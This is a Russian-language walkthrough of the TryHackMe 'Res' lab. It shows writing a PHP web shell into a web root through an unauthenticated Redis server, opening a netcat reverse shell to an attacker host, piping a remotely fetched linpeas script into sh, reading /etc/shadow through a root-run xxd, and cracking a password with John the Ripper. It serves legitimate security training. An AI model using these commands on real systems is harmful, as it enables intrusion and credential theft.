Logo

Res

Hack into a vulnerable database server with an in-memory data-structure in this semi-guided challenge!

Res

TryHackMe: Прохождение комнаты Res.

Доступ к комнате доступен только для аккаунтов с премиальной подпиской.

Просканируем с помощью nmap все порты цели. Для существенного ускорения процесса получим список открытых портов, а потом просканируем только их, но уже более подробно:

$ ports=$(nmap $RHOST -p- -T4 --min-rate=1000 | grep ^[0-9] |
          cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
$ nmap -sV $RHOST -p$ports
  • -p- – сканирование полного диапазона портов.

  • -T4 – агрессивный режим сканирования для ускорения (подробнее здесь).

  • --min-rate – не менее 1000 пакетов в секунду.

  • grep ^[0-9] – оставить только строки с найденными портами.

  • cut -d '/' -f 1 – разделить строки на столбцы по символу / и оставить только первый столбец (список портов).

  • tr '\n' ',' – заменить символ новой строки на запятую.

  • sed s/,$// – удалить последнюю запятую.

Сканирование портов

Сразу находим ответы на следующие четыре вопроса:

1. Scan the machine, how many ports are open?
2. What’s is the database management system installed on the server?
3. What port is the database management system running on?
4. What’s is the version of management system installed on the server?

Compromise the machine and locate user.txt

Попробуем подключиться к найденному redis (поскольку используется стандартный порт, ключ -p 6379 можно опустить):

$ redis-cli -h $RHOST -p 6379

Подключение происходит удачно, никакой авторизации не требуется. Внутри так же нет никаких данных:

10.10.40.30:6379> KEYS *
(empty array)
10.10.40.30:6379> exit

Используя redis возможно создать файл базы данных в публичной директории сервера в котором разместить, например, php скрипт как значение ключа. И если сервер поддерживает PHP, то такой файл будет вполне себе успешно обработан php-препроцессором.

Для примера ниже приведен файл базы данных в которой для ключа test задано значение <?=`$_GET[0]`?>:

Пример файла redis

Особо стоит отметить, что необходимо отключить сжатие данных. Для небольших данных как в примере выше, это не обязательно, но если данные сколь либо объёмные, то они будут непригодны для препроцессора.

$ redis-cli -h $RHOST config set rdbcompression no
OK

Вот как будет выглядеть следующий скрипт при включённом сжатии:

<?php $i=file_get_contents("http://10.8.171.101/linpeas.sh");
file_put_contents("/var/www/html/lin.sh",$i); ?>
Пример файла redis, с компрессией

Прежде чем сохранять данные, необходимо знать где. Если зайти на сервер, то видно, что это apache2 и корневая директория /var/www/html.

Теперь можно разместить скрипт, который позволит выполнять команды на сервере (в надежде, конечно, что там работает php):

$ echo '<?=`$_GET[0]`?>' | redis-cli -h $RHOST -x set test
OK
$ redis-cli -h $RHOST config set dir '/var/www/html'
OK
$ redis-cli -h $RHOST config set dbfilename 'cmd.php'
OK
$ redis-cli -h $RHOST save
OK

Установим обратное соединение, для этого на атакующей машине запустим netcat в режиме ожидания подключения на 4444 порту:

$ nc -lvnp 4444

Теперь с сервера установим соединение с атакующей машиной и получим доступ к первому флагу user.txt ($LHOST – адрес атакующей машины):

curl --url "$RHOST/cmd.php" --url-query "0=nc $LHOST 4444 -e /bin/sh"
Доступ к серверу

What is the local user account password?

Для поиска путей эскалации привилегий воспользуемся LinPEAS. Поднимем локально веб-сервер который будет предоставлять доступ к linpeas скрипту:

$ ls
# linpeas.sh
$ python -m http.server 8080
# Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

Теперь на атакуемом сервере запустим этот скрипт сразу из памяти ($SRVHOST – адрес атакующей машины):

curl "http://$SRVHOST:8080/linpeas.sh" | sh
Результат работы LinPEAS

Судя по работе LinPEAS, имеется возможность запуска xxd с правами root пользователя. А это означает, что можно прочесть shadow – теневой файл с паролями пользователей:

$ xxd /etc/shadow | xxd -r | tail -n 1 -
Содержимое файлов passwd и shadow

Если у вас в системе нет словарей, то их можно скачать с репозитория SecLists. В Linux дистрибутивах Parrot и Kali они предустановлены в /usr/share/wordlist.

Сохраним запись пользователя vianka из теневого файла паролей на своей машине. Теперь можно попробовать провести брутфорс атаку с помощью John the Ripper:



$ john --wordlist=/usr/share/wordlists/rockyou.txt shadow --no-log 2>/dev/null
Пароль пользователя vianka

Escalate privileges and obtain root.txt

Для доступа к последнему флагу внутри /root директории аналогично воспользуемся xxd:

Содержимое последнего флага

На этом всё.